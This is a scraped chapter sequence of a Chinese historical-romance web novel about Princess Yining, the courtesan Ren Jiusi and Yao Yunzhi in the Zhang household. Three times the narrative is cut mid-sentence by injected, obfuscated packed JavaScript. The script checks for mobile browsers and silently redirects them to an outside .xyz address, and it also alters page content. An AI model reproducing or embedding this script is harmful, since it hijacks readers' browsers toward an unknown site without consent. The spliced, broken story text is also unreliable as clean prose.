张老夫人道:“公主贵步临贱地,也不提前知会民妇一声,倒让民妇准备不周,怠慢了公主。” 宜宁公主听她话里带刺也不恼,笑意浅浅地回道:“老夫人客气了,不请自来原就是本宫失礼在先,怎好再指责老夫人的过错?”她朝四周望了望,又问:“韫知呢?今日怎么没见到她?” 张老夫人皮笑肉不笑道:“殿下若有什么吩咐,同民妇说,也是一样的。” “不过一些小事,”宜宁公主抬了抬下巴,都没正眼看张老夫人一眼,“还是让韫知出来回话吧。” 张老夫人脸色微僵,但还是侧过头去低声吩咐云初“叫少夫人出来”,随后笑吟吟地望向宜宁,“殿下稍待片刻,民妇这就唤韫知过来。” 宜宁公主点了点头,没再言语。 正堂随即陷入一片沉默。 张老夫人的目光适才一直追着宜宁公主,到了此时才有空从她脸上挪开,随即落到了她身后那位年轻男子身上。 男子一袭浅绿纱袍,衣襟半敞,似披未披,隐隐露出线条分明的锁骨与苍白如玉的肌肤。他的眉眼其实生得十分精致,眉峰微挑,眼尾带笑,然而这笑容不够真切,似笑非笑间透着一股子邪气。 张老夫人忍不住低骂了一声“妖孽”,一转头,发觉宜宁公主正打量自己,又不尴不尬地笑道:“公主先喝茶。” 不一会儿,姚韫知无精打采地走到堂上,先是看了一眼张老太太,又看了一眼公主,最后毫不意外地也将目光停在了衣衫不整的任九思身上。两人短暂地对视了片刻,姚韫知便率先移开了视线,敛衽向坐在堂上的公主道了个万福。 张老夫人见姚韫知将自己这个家姑撂在了一边,反倒先去和宜宁公主行礼,不由扬高了声音,酸溜溜道:“殿下非要等你亲自出来,才肯开口说话。韫知,你替老身问问,殿下此来有何贵干。” 宜宁公主听出了张老夫人语气里的不忿,却并没有理睬。她轻轻放下茶盏,直接对姚韫知说道:“韫知,近来宫中有件大事,需得你帮忙筹备一二。” “不知殿下有何吩咐?” 宜宁公主笑意温和,缓缓道:“下月初三是皇后娘娘的寿辰。前些年皇后娘娘身子抱恙,深居简出,从未大操大办过。本宫思来想去,总觉得应借此机会,为皇后娘娘热热闹闹地办一场千秋仪典。你一向稳重细心,本宫想将此事交由你来办。” 姚韫知还未答话,张老夫人便插言道:“殿下,皇后娘娘寿辰的贺礼,向来都是臣妇亲自操持。韫知年纪尚轻,还需历练,此事倒不如交给臣妇来办,也算是臣妇替张家上下尽尽孝心了。” 宜宁公主眼神淡淡地掠过张老夫人,不紧不慢道:“老夫人能有这份心,自是极好的。听闻您每日都要诵经礼佛,不若趁此机会抄写一卷《无量寿经》为皇后娘娘祈福,也算是一桩功德。” 张老夫人脸色越来越难看,想要再争,却被宜宁公主毫不留情地堵了回去:“至于韫知,正因为她年轻点子多,皇后娘娘这才属意她来筹划此事。更何况,这也是一个让她学习管家的好机会。老夫人为张府大小事务操劳已久,何不趁此机会好好歇一歇?” 张老夫人张了张嘴,但听她话里话外都在说这是皇后的意思,只能阴沉着脸应道:“既然殿下如此吩咐,民妇也只能照办了。” 她以为这话已经给足了宜宁公主面子,她应当不会再找自己麻烦。可宜宁公主仿佛没有到此为止的意思,又冲姚韫知含笑道:“对了韫知,本宫记得数年前,你的一曲《凤求凰》曾让皇后娘娘赞不绝口。皇后娘娘千秋那日,你可否再献上一曲,为寿宴增色?” 姚韫知垂眸动了动手腕,推辞道:“多谢殿下抬爱,只是臣妇多年未碰琴,怕是手已经生疏了。” 宜宁公主却毫不在意地笑了笑,挑眉道:“这不是巧了,本宫身旁恰好有一位高人,让他来指点你倒是合适。”说着,抬手招过侍立在一旁的任九思,嘱咐道:“这几日就劳烦你来调.教张夫人吧。” 任九思立刻恭顺应道:“小人遵命。” 瞧这两人一唱一和,眼看就要饶过自己将此事定下,张老夫人这下可是不依了。她重重咳了两声,不悦道:“公主殿下,这只怕不方便吧。” 她顿了顿,又冷着脸道:“张府之中除了老身,还有许多年轻的女眷,殿下将这样一个人留在张府,倒叫旁人如何议论她们?” 这张府除了丫头厨娘便只有姚韫知一个年轻女眷,张老夫人的弦外之音,宜宁公主如何听不懂? 但她还是微微蹙起眉头,故作不解道:“老夫人这话本宫就不明白了,九思即便借住在张府,出入也都有侍女跟着的。本宫未出阁的时候,陛下和母妃也曾请先生入宫教授本宫琴棋书画。怎的到了老夫人这里,这求学拜师就成了见不得人的事?依老夫人的说法,那张府上下的伙夫、小厮都是外男,岂不是都该逐出府去?” 姚韫知站在一旁听了她们你一言我一语地争执半天,觉得有些疲倦。左右她也插不进话去,便抬起眼,瞥了一眼站在宜宁公主身旁一言不发的任九思。 他仍是一副事不关己的模样,双手抱臂倚靠着桌沿,姿态懒散,似乎不论堂上的二人争出什么结果,都与他没有关系。 姚韫知心中愈发困惑。 她不明白宜宁公主今日来闹这一出,究竟是为了什么? 她自然看出了宜宁公主有替自己在张府立威,打压张老夫人的意思。可她还是隐隐觉得,这谜题的解,应该还是落在这个名叫任九思的伶人身上。 她方才一直在思索,若只是为了将她那面首藏到张府,如此大动干戈,驸马想不知道他的藏身之所都难。但若是为了别的,她也实在想不通这样一个身份低微的伶人能搅弄起什么风云。 想着想着,目光不觉在任九思的脸上多逗留了一会儿。 又是一个猝不及防的对视,姚韫知的心“砰砰”跳了两下。 她瞧着任九思,越发觉得他眉目间流淌着的笑意像一片浮在水面的薄冰,映着光,明亮却冰冷刺骨。仿佛在哪里见过,可细看,又觉得不尽相同—— 是一种似与不似之间微妙的摇摆。 脑海中倏忽冒出一个不成形的念头。 然而,还没等她往下想明白,外头忽然传来一阵急促的脚步声,打断了堂上僵冷的气氛。 小厮快步走了进来,朝张老夫人行了一礼,通报道:“少爷来了!” 随即一个高大壮硕的身影步入了正堂。 来人一身深青色常服,袖口微微卷起,眉头皱成了一个“川”字,显然是听到堂上起了争执才匆匆赶来的。他的目光从堂中人脸上一一扫过,最后定在了任九思身上。 任九思见张允承望向自己,非但没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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张老夫人说得唾沫横飞,怒气几乎要冲破天灵盖。 不想张允承听到这话,竟像是松了口气般,眉头稍稍舒展开来。他试探着问宜宁公主:“这位公子……是殿下的朋友?” 宜宁公主没有接着他的话往下说,反倒微微叹了口气道:“允承,其实本宫今日前来,是为了你和韫知。” 张允承一怔。 宜宁公主道:“五年前的事,是本宫太过冲动,还害得韫知夹在你我之间,左右为难。如今想来,心中实在惭愧。今日借此机会,本宫得向你赔个不是。” 说着,她竟真的起身,向张允承欠身行了一礼。 张允承见此情景,被惊得后退了几步,手足无措道:“殿下言重了,往日之事,不过是小误会罢了,允承从未放在心上。殿下这般客气,倒是让允承无地自容了。” 他语气里多了几分受宠若惊的忐忑,眉宇间隐约的紧绷也随之散去,似乎被这番迟来的歉意彻底安抚住了情绪。 宜宁公主这时才一脸懊悔道:“今日之事其实说来有些惭愧。” 她看了一眼任九思,似乎接下来的话有些难以启齿,“这位公子的确与本宫……关系匪浅。而今他与驸马起了些误会,本宫一时难以调停,只好让他暂避风头,不想竟因此扰了张府清净,倒让韫知为难了。” 张允承立刻回道:“这有什么为难的?这位公子既然是殿下的朋友,那就是我们张府的贵客。后山的照雪庐幽静清雅,离正院也远,正好不会惊扰女眷。若殿下不嫌弃,允承立刻叫人收拾出来让这位公子小住。” 张老夫人气得额角青筋突突直跳,脸上的笑容已经完全挂不住了。 宜宁公主旋即露出一丝为难的神色,十分善解人意地向张允承确认道:“此事,张主簿能拿得了主意么?” “自然,”张允承连忙应道,“臣这就命人打理照雪庐,保证这位公子今夜就能够安顿妥当。” 5. 照雪庐 照雪庐位于张府的后山,虽被高高的院墙围绕,却与前院的气象大为不同。 前院飞檐碧瓦,雕梁画栋,常有仆人来回走动,富丽而忙碌,而照雪庐则是幽静冷清,人迹罕至。 冬日的寒风呼啸而过,吹得院内一片银白,雪花落满了松树和竹林。地面上偶尔留下一排稀疏的脚印,也很快便被风雪掩埋。 庐内许久无人居住,蛛网结满房梁,桌椅上积着厚厚的灰尘,炉火已熄,炉膛中只剩下几块冷却的木炭,空气中弥漫着一股陈旧的气息。 仆人站在门口,看着屋内的景象,面色有些尴尬。他转过头,不好意思地对任九思说道:“公子,这里还没有打扫出来,您还得再等上几个时辰。” 任九思十分通情达理地笑了笑道:“无妨,我正好四处走一走。” 说完,抬步朝外走去。 背过身去的瞬间,似有一层冰霜悄然凝上了他的面庞,脸上的笑容顷刻间褪得一干二净。 没过多久,一个年轻貌美的公子便突然出现在了雁声居的门口。 守在门外的侍女见这位公子朝自己走近,脸颊顿时烧起一片云霞。她不知他来意,但又不敢同他对视,便垂着眼羞涩道:“公子留步,容奴进去通报一声。” 任九思颔首道:“多谢。” 不久,门内传来轻响,侍女含笑迎了出来,柔声道:“公子请进。” 屋内的地龙烧得暖烘烘的,香雾氤氲,熏得人骨头发软。张允承坐在罗汉榻上,漫不经心地用香筷拨弄着暖炉里的香灰,见任九思进来,立刻吩咐一旁的侍女:“给公子看座。” 侍女应声上前,抬来一把精致的绣墩,轻轻放在任九思面前。 任九思道了声谢,目光无意识地停留在张允承与姚韫知交叠的双手上,唇角的笑意一刹那凝滞。片刻,他低头移开视线,走到绣墩前,缓缓坐下。 张允承打量着他的眉眼,不觉皱了皱眉,问道:“我与公子是不是在哪里见过?” 任九思调侃道:“大约是小人生了张俗人面孔,所以才叫人觉得熟悉。” 张允承道:“公子太过自谦了,若公子这般花容月貌还叫俗人面孔,那长成我这样的,岂不是该被叫做活钟馗了?” 他呵呵一笑,又问:“公子在这里住得可还习惯吗?” 任九思答:“承蒙大人关照,一切都好。” 方才仆从已经先来通报过,照雪庐因常年空置,院落内积雪未清,屋内也是破败陈旧,须重新修葺一番才能住人。 张允承虽未见任九思脸上有任何抱怨的神色,但未免显得自己失礼,还是同他解释道:“这照雪庐原是家父未发迹时居住的茅屋。” 任九思眉毛轻轻抬了抬,似是对这些旧事颇有兴致。 张允承继续说道:“后来他高中状元,入仕为官,却始终没有忘本。修建张府时,他刻意这间旧屋围了进去,重新修葺了一番,取名‘照雪庐’,意在劝勉子孙后辈不忘创业维艰。他自己也以身作则,寒冬腊月里还在此处读书办公。” 这话只说了一半。 后面一半的故事是,后来张暨则官拜正三品中书令,府中时常需要接待众多来访的官员和贵客,照雪庐便鲜少有人涉足,成了张府后山的一隅静地。 任九思嘴角挑起一抹笑意,意味深长道:“靡不有初,鲜克有终,令尊此举听起来倒是令人敬佩。” 张允承赞许地点了点头,又道:“对了,还没问过公子叫什么名字。” 任九思回:“小人姓任,名叫九思。” 姚韫知问:“可是’君子有九思‘的’九思‘?” “确是这两个字,”任九思道,“不过小人可当不起夫人口中这‘君子’二字。” 姚韫知却道:“巫医乐师百工之人,凭借自己的手艺本事谋生,我觉得没什么可耻的。难道公子也是个俗人,觉得非得要身居高位,才能被配得上称一句‘君子’吗?” 任九思轻笑一声,反问道:“凭本事谋生当然也算是君子,可是若是以色事人呢?” 姚韫知眉头微蹙。 张允承听了这话,脸色亦是一变。不过,对于别人房中之事,他并不愿多加评论,只道:“驸马与公子之间发生的事,我多少有所耳闻。其中的是与非,我们作为外人自然无从置喙。不过,公主既然托付了我照顾公子,我自然会尽心尽力,将公子安排得妥当。” 说话时,身后的窗户似是没有关紧,微凉的风从缝隙间溜进,吹起姚韫知鬓间垂下的一缕头发。扑簌簌的雪籽随之飘落,在她的发丝和衣领处积聚。 张允承替她轻轻掸去身上的雪籽,又熟稔地拨开她耳畔的发丝。他一边专注地用拇指擦去落在她脸颊上的雪花,一边嘱咐任九思道:“不过公子而今既暂住在此处,最好还是不要轻易出照雪庐,以免招惹不必要的是非。” 张允承自认为这话已经说得十分客气,不想任九思竟蓦地站起身,将张允承吓得一愣。他刚要开口问任九思这算什么意思,却见他眉头一凛,满脸冷淡地撂下一句“小人还有别的事情,恕不相陪了”。 然后,头也不回地转身朝屋外走去。 饶是张允承这样好脾气的人,也被气歪了鼻子。 “这般狂妄无礼,倒不知平日里是怎么侍奉公主的。” 姚韫知没有接话,沉默了须臾,方不动声色抽出了他手中握着的一捧她的头发,问道:“今日,你为什么要同母亲作对,留下那个任九思?” 张允承捉住姚韫知纤长的手指,在唇边温存地落下一吻,又将她的手心贴在自己温热的脸颊上,这才温吞开口道:“宜宁公主难得开一次口求你,我怎么好当着她的面驳你的面子?” “可母亲今日发了好大的火,我……” “韫知,”张允承深深凝着她,目光温柔似水,又带着几分歉意,“我知道,母亲回来的这些日子,你受了许多委屈。” 姚韫知垂眸避开他的视线,低声道:“也没有。” 张允承却叹了口气,抬臂将她圈进怀中。他的胸膛厚实有力,稳稳地支撑着她的身子。衣服上淡淡的松木和石墨的味道,一瞬间占据了她所有的呼吸。温热的气息浮在耳边,渐渐的,他像一只黏人的大犬一般,叼起了她后颈的一块软肉,“那些乱七八糟的汤药,往后不要喝了。” 姚韫知惊讶道:“你都知道了?” “若不是今日撞见云初倒药渣,你打算瞒我多久?” “母亲也是一片好意。” 一个用力,姚韫知吃痛地倒抽了一口冷气。 张允承觉察到她不喜欢自己这般冒进,又缓缓将她松开,语气里带了几分歉疚,“我已经同她说过许多次,让她不要再管我们的事。也怪我太没用,说什么,旁人都听不进去。” 姚韫知被说得有些心软了,又或许在任九思一事上她本就有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791711|158136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些心虚,听他这般自怨自艾,难得和软地说了声:“你别这么想。” 随后抬手至衣襟处,缓缓拉开了系带。 平心而论,张允承的相貌虽然不算出挑,却也算得上五官端正,性子更是敦厚老实。云雨时的模样,也和他的长相一样的中规中矩。不过好在姚韫知也不是十分热衷这些,从来只当这是例行公事,敷敷衍衍就过去了。到了后来,更是十次当中有九次不肯和他亲近。 今日瞧见姚韫知这般主动,张允承一时喜不自胜,宽阔的身躯随即笼过来,重新将她牢牢拥住。 她没有再推拒,任由着细细密密的吻像雨点一般,落在她的颈侧,落在她的肩头。 姚韫知紧紧攥着衣角,麻木地承受着他的亲吻。 窗外,冷风簌簌吹过,雪花扑打着窗棂。屋内,鱼缸中的水面微微泛起涟漪,缸内的两条鱼在水中游弋,渐渐地,它们开始靠得更近,尾鳍触碰在一起,在水流中扭动、缠绕。 一直到太阳落了山,一切才归于沉寂。 姚韫知翻过身去,背对着张允承,脑海中却不自觉回想起那张妖异的面孔。 适才被压下的念头又重新浮出了水面。 长着一双与言怀序如此相似的眉眼,又恰好住进了张暨则的照雪庐。 这个人,当真与言家没有一点关系吗? 身旁的张允承睡得正熟,姚韫知侧过头,目光在他的面容上停留片刻,神色复杂,却未作声。片刻后,她轻轻掀开被子,悄无声息地从床上起身,披上银鼠斗篷,取下风灯,推开了雁声居的屋门。 夜风冰冷,吹得她的脸颊发麻,耳廓几乎失去了知觉。她站在院子里略一迟疑,终究还是吹灭了灯芯。黑暗中,她深吸一口气,迈步朝后山的方向走去。 四周静得只剩下踩在雪上的咯吱声,姚韫知小心翼翼地沿着熟悉的小径前行,但大雪覆盖了地面,又只有昏暗的月色照明,眼前的景物难以分辨,她几次险些滑倒。 突然,一道人影从前方闪过,姚韫知心头一紧,脚步猛地停住。 “是谁!”她低声喝道,努力让自己的声音显得镇定。 寂静片刻,一声低沉的笑从她背后传来。姚韫知循着声音转身,却见任九思的身影从月色里缓缓显现。他披着一件天青色斗篷,双手负在身后,仿佛已经在此等候多时。 “这么晚了,夫人怎么会一个人在这里?” 声音里带着几分戏谑。 “这是张府的地方,我如何不能出现在这里?”姚韫知紧紧盯着他,目光里带着警惕和试探,“倒是该问你,九思公子,这深夜冷风里,你在这里做什么?” 这话出口,姚韫知隐约有些心虚。 照雪庐是任九思现在的住处,此处正好就在他的房门前。他出现在这里,并无任何不妥。倒是她,孤身一人漏夜前来,难免让人想入非非。 任九思听她这样问,既不回答,也不反驳,反而朝她逼近了两步。 姚韫知下意识后退,“啪嗒”一声踩断了地上的枯枝。他仍没有停下的意思,直到姚韫知的后背抵在冰冷的门柱上,他才缓缓站定,低头看着她,嘴角噙着一抹若有若无的笑意。 姚韫知不甘示弱地回视着他,冷声逼问道:“任九思,你费尽心机地住进张家,究竟是为了什么?” 他遽然开口,声音如飞泉簌玉般清亮好听。 “自然是为了夫人你。” 6. 荒唐言 这个回答委实出乎姚韫知的预料,她眼中掠过一瞬间的错愕,随后迅速被汹涌的怒意所取代。 眼瞧着他还在向自己靠近,姚韫知衣袖下的双手紧握成拳,声调亦不自觉抬高了几分,“九思公子可还记得自己的身份?” 任九思对此置若罔闻,照旧轻佻地抬起手,修长的手指探向她如瀑的乌发,扣住了她的后脑。 姚韫知身形一僵,正欲出声申斥,对上他双目的瞬间,一声“混账”却没来由的堵在喉咙。 “别动。”任九思道。 他的声音好似真的能够蛊惑人。 她竟就这么由着他无礼地抚过自己的发丝、面颊,最后将指尖落在冻得通红的耳垂上。 风似乎已经停了,周遭静谧无声。偶然有几颗零星的雪粒停在衣领间,很快就化为了一道道水痕。 冰冷的触感让姚韫知的神思悠悠飘荡,像被一直无形的手牵入了久远的回忆之中。 仿佛还是十七年前,五岁的小娘子裹在厚厚的棉衣里,像一只灵动的小雀儿蹦蹦跳跳穿梭在白雪皑皑的言府后院中。 她一会儿跑到墙角处,好奇地盯着那被雪覆盖的怪异石头,一会儿又奔向回廊边,伸出手指想要接住廊檐下掉落的冰棱。 忽然,她发现一个雪人正孤孤单单地立在假山后面,于是快步跑过去,围着雪人转了好几圈,嘴里还念念有词:“你是谁呀? 正说着,侍女气喘吁吁地追了上来,满脸担忧地说道:“小姐,慢点跑。这雪天路滑,若是摔着了可如何是好。咱们还是快些回屋去吧,别着凉了。” 小娘子眨了眨眼睛,说了声“好”,可瞧她那副恋恋不舍的神情,好像还是舍不得离开那个雪人。 侍女笑道:“小姐,这是怀序公子堆的雪人。你若是喜欢,等怀序公子到咱们府上做客的时候,你让他再给你堆一个,好不好?” “那姐姐,这雪人是怀序哥哥吗?” 侍女笑了笑,没有回答。 小娘子看那雪人圆滚滚的身子上又落了一层薄薄的雪,仿佛披了一件轻柔的纱衣,在寒风中好像冻得瑟瑟发抖,不由得有些心疼。 她伸出小手轻轻拍了拍雪人的肩膀,又趁侍女不留意,飞快地把自己头顶帽子摘下来,小心翼翼地戴在雪人头上,奶声奶气地说道:“怀序哥哥,这样你就不会冷啦。” 言罢,她的两只小手缩到唇边,轻轻呵出一团团洁白的雾气,试图驱散指尖的凉意。可一阵冷风吹过,还是冻得她打了个喷嚏。 就在这时,一道熟悉的声音自身后幽幽响起:“韫知妹妹,冬日里不戴帽子,耳朵可会被冻脆的,一碰就掉下来了。” 小娘子惊得身子一抖,本能地就想抬手捂住耳朵。然而一双温暖的小手抢在了前头,轻轻地、缓缓地揉搓起她的耳朵来。掌心的温热源源不断地传至她的耳尖,须臾间,便让她的耳朵变得暖乎乎的。 小娘子被冻僵的耳朵慢慢恢复了知觉,这才迷迷糊糊转过头。 只见言怀序专注地望着她,嘴角微微扬起,那笑容灿烂得如同春日里拨开云层直直投射而下的最耀眼的光束。 耳垂处突然传来的痛意让姚韫知骤然间从回忆中抽离出来,她蹙起眉头,不悦道:“松手!” 任九思一哂,仍维持着这个暧昧的姿势,只是指尖的力道比适才温柔了几分。他凝着姚韫知的眼睛,不紧不慢地开口道:“小人是宜宁公主的面首。” 姚韫知愣了愣,随即反应过来,他是在回答方才那个“还记不记得自己身份”的问题。 此人的恬不知耻令她恼怒到了极点,顾不得会不会闹出动静,她一个挥手将他贴在自己脸颊边的手指打落,转身就朝与照雪庐相反的方向走去。 只是她走了几步,又忍不住回过头,冷睇着任九思问道:“你就不怕我将今夜之事告诉宜宁公主吗?” 任九思怂了怂肩,一脸不在乎道:“那又如何?” 姚韫知说道:“公子既是宜宁公主的面首,便应该忠心侍奉主上。若她知晓你今夜对她身边的人这般举止轻薄,你以为她还会愿意护你周全吗?” 闻言,任九思笑得前仰后合,上气不接下气。 过了好半晌,他的笑声才渐渐止住,语带嘲弄道:“小人若不是被宜宁公主看中,也不会被驸马一路追杀,沦为一只仰人鼻息的丧家之犬。公主从前固然宠爱小人,可小人于公主而言,与她身边的小猫小狗根本毫无分别,觉得麻烦了便可以随意丢弃。要我说,咱们这位公主殿下,实在是薄情得很呢!” 姚韫知一怔,没想到他竟会对宜宁公主口出恶言。随后,又听见他话锋一转,意味深长道:“何况,而今真正救小人于水火的,难道不是夫人您吗?” 他一边说着,一边朝姚韫知又走近了几步。只是这回,他行动间不再似方才那般轻薄冒失,竟换上了一张柔情似水的面孔,缱绻的目光落入她的眼中,星辉般的瞳仁在朦胧的月光之下显得格外明亮。 若非适才目睹了这人变脸有多快,只怕她也会被这双无辜的眼睛迷惑。 姚韫知冷笑道:“公子这是何意?” 任九思道:“世人都道宜宁公主多情,这话说得对,却也不全对。” 听到任九思的这番论调,姚韫知倒是起了几分好奇心。明知不该停在此处同他饶舌,但还是迟迟没有挪动脚步。 任九思见她这般反应,露出了一个得逞的笑容,然后继续说道:“这些年,陪伴公主身边的男子多如天上的繁星,却无一人能得她倾心相待。您觉得,她究竟是多情还是专情呢?” 姚韫知立刻反应过来他此言是在暗指宜宁公主钟情的是言怀序,面色一沉,斥道:“大胆!公主的私隐岂容你议论?” 这样的斥责对任九思来说实在不痛不痒,他索性迎着姚韫知冷冽的目光看去,悠悠道:“夫人不必把小人当做傻子。公主为何对小人青睐有加,驸马为何如此憎恶小人,夫人看到小人的第一眼为什么是那样的反应?小人不是不知道。只怕你们透过小人这双眼睛,看到的不是九思,而是那个已经长眠于地下的故人吧。” 姚韫知显然没有料到他会如此直接地将这层窗户纸捅破,神情陡然一僵。但她很快恢复了平静,将对话引到另一个方向。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791712|158136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “天下倾心爱慕公主的人,犹如恒河沙数,不单单只有九思公子一人。就算公主心有所属,不能钟情于你,你也不该心存怨望,做出这样有失人臣本分的事。” 听到这话,任九思嘴角上扬,眼神中透着几分不羁与玩味,反问道:“倘若小人说臣爱慕的不是公主,而是夫人呢?” 姚韫知骤然变了脸色。 他却似对此浑然不觉,仍直视着她的双眸,一脸恳切道:“若夫人垂怜,许小人侍奉在侧,即便做一个最低等的奴仆,给夫人洒扫庭院,叠被铺床,小人也甘之如饴。只要夫人一声令下,小人定当唯夫人马首是瞻,赴汤蹈火,在所不辞!” 这般见人说人话,见鬼说鬼话的秉性让姚韫知彻底失了耐性。她懒得再同任九思废话,拂袖就要走开,可他再一次挡在了她的身前,拦住了她的去路。 姚韫知冷着脸道:“好狗不挡道。” 任九思一动不动。 姚韫知又骂:“给我滚开!” 任九思仍旧直挺挺地立在姚韫知跟前。 姚韫知忍无可忍道:“你这个人究竟还要不要脸?” 任九思挨了骂,却像是得了什么夸赞一般,唇边的笑意却是越发浓烈。 “夫人,不如我们打一个赌如何?” 姚韫知厌烦地掀起眼皮,故意没有顺着他的话往下追问。 任九思勾起唇角,兀自往下说道:“赌夫人有朝一日会对我交付真心。” 不想一直冷静自持的姚韫知听到这话,却像是听见了十分好笑的事情一般,放声大笑起来,笑着笑着竟眼眶濡湿,夜风呼啸而过,吹得泪痕划过的地方有如刀割般刺痛。 “九思公子打听了这么多从前的事情,难道不知道,”姚韫知忽然顿住话语,仰头对着他略带困惑的眼睛,嗤笑道,“上一个相信我有真心的人,坟头的草已经长得比你还要高了。” - 离开照雪庐之后,姚韫知没有再回雁声居。 她与任九思之间不过纠缠了半个时辰不到,却仿佛耗尽了她所有的心力。 克制了这么久,伪装了这么久,竟然被这样一个小人逼得屡屡失态,她一时懊恨到了极点。恨自己没有在他说那些怪话的时候,一把揭下他丑陋的面皮,更恨自己猪油蒙了心,竟浅薄到因为一张四五分相似的面孔,将他和言怀序相提并论。 此时此刻,她已经没有任何余力再去应付张允承的质问,她只想寻个没有人打扰的地方好好睡上一觉。 等一觉醒来,她就去见宜宁公主。 其实她也拿不准,宜宁公主究竟知不知道这个任九思是一个什么样的人。 这段日子,她是不是一直在被这个小人欺瞒,哄骗,利用。 又或者,她其实早就知道任九思接近她另有所图,只是偏偏贪图一时的温存和他身上残存的那一点故人的影子,所以才对他的所作所为睁一只眼闭一只眼。 不过不论是何种情况,至少在她姚韫知的身边,容不下这样一个两面三刀的人。 明日,不管用什么样的办法,她都一定要把这个祸害送出府去。 7. 前尘事 这一夜,姚韫知睡得并不安稳。 意识昏沉间,她听见一阵低回的风声,风声中夹杂着雪粒敲打窗棂的轻响,如梦呓般在耳畔萦绕良久。 她掀起惺忪的眼皮,一道模糊的身影从远方向她走来。她伸手想要触碰,却只抓住了满手的风雪。 姚韫知蓦地睁开双眼。 面前空空如也,唯有窗外的一轮冷月悬挂在夜空,洒下银白的光辉。 那是永昌十三年冬天的夜晚。 也是这样一个冷寂的雪夜,雪飞云起,夜窗如昼。她吹灭了案上的蜡烛,刚刚要睡下,门外却突然响起了一阵窸窸窣窣的脚步声。 声音不算太大,但在静谧的深夜总是显得有些不合时宜。 她微微蹙起眉头,正准备让云初出去看看是怎么回事,却听见屋外的人压低声音道:“奴有急事要求见韫知小姐。” 听出是宜宁公主贴身侍女玉漏的声音,姚韫连鞋也顾不上穿,赤着脚跑到门前,一把将她拉了进来。 姚韫知压低声音问道:“你来这里,可有人瞧见?” 玉漏摇了摇头,“没有。” 姚韫知松了口气,又问:“是言家那边有消息了吗?” 玉漏眼眶一下子红了,神情凝重道:“殿下说,陛下已召集三司会审,判了言大人——斩立决。” 这三个字一出来,姚韫知全身的血液都冷了下去。她张了张嘴,却发现喉咙紧绷到根本发不出声音。 云初见姚韫知已经急得说不出话,连忙替她追问玉漏:“那怀序公子呢?” “陛下有令,言府所有男丁,与言峻挺一道押往刑场问斩,女眷,皆没入教坊司为奴。” 闻言,姚韫知脚下一软,幸好被云初一把扶住。她觉得自己有些喘不过气,咽下两丸云初递来的护心丸后,方才勉强稳住心神,哽咽道:“此事难道就再无转圜的余地了吗?” 玉漏忙握住姚韫知的手,安慰道:“小姐别急,殿下命奴前来,正是为了此事。” 她瞥了一眼窗外漆黑的夜色,续道:“现在天还没亮,圣谕还未正式传达给刑部。殿下说,若御史台能赶在这之前以此案还有诸多疑点未明为由,上奏请求覆查,或许能为言家再多争取一些时间。” “当真?”姚韫知眼中燃起一线希望,激动地握住玉漏的手,追问道,“是妙悟那边找到什么新的证据了吗?” “暂时还没有。”玉漏坦诚道。 她也知道这个回答实在难以让人心安,又恳切地同姚韫知承诺道:“不过殿下说了,只要再多给她几日的时间,她一定可以找到能证明言大人清白的证据。” 姚韫知听罢,眼中的光亮渐渐黯淡了下去。只是她终究没能忍心直接说出拒绝的话,沉默良久后,冲着玉漏轻轻摇了摇头。 玉漏问:“小姐还在犹豫什么?” 姚韫知避开她灼热的目光,面露难色道:“我父亲并不愿意牵扯进这件事情之中。” 玉漏急道:“就是因为这样,奴才要来求小姐啊。” “这件事情,我实在是不能答应公主,”姚韫知垂眸,“我不能让父亲冒这样大的危险去做一件希望渺茫,甚至很有可能徒劳无功的事情。” 玉漏道:“殿下说,我朝准许御史风闻言事,不必有确切证据。陛下若因此责罚姚大人,是有违祖宗之法的。” 姚韫知轻声道:“若是别的事情,或许还有争一争的可能,可这件事情……在陛下的雷霆之怒面前,祖宗之法又算得了什么?” 玉漏沉默了。 她其实又何尝不知道,这一回,皇帝不会轻易放过言家。 - 永昌十三年秋,关中大旱,颗粒无收。京郊一群流民因对官府不满,于皇帝在城郊祭天之际,扰乱国典,冲撞圣驾。 彼时恰有一名刺客混入人群之中,用暗器刺中皇帝胸口。皇帝伤势严重,昏迷不醒。十几个太医轮番诊治,诸臣昼夜祈求祷告,到了第三日,才转危为安。 经此一事,皇帝彻底伤了根基,精力大不如前。为静心调养,他索性颁诏命太子监国,皇长子魏王辅政,自己不再亲理庶务。 太子与魏王分庭抗礼,两方虽相互制衡,可表面上,还算相安无事。 然而三个月后,局势骤然生变。 朝会上,时任门下侍郎的张暨则忽然当庭揭发京郊流民冲撞仪仗之事乃中书令言峻挺暗中煽动,指责其与叛贼私下往来,意图谋逆。 为佐证此言,张暨则还附上了一封据称是言峻挺与叛贼密谋的书信。其中“以悖逆之举行忠义之事”一句,正触皇帝的逆鳞。 皇帝勃然大怒,严令三司彻查此事,月余间提审了近万人,京中一时人人自危。 可即便是在这般暮霭沉沉的氛围之下,朝野间仍出现了许多为言家鸣不平的声音。太子更是以储君之位为言峻挺作保,坚称此事为奸人陷害。 可出乎众人意料的是,没过多久,言峻挺竟然主动承认了谋逆一事。他的供状中除了乞求圣上让他速死,再无任何为自己辩白的话。 消息传出,朝野一片哗然。 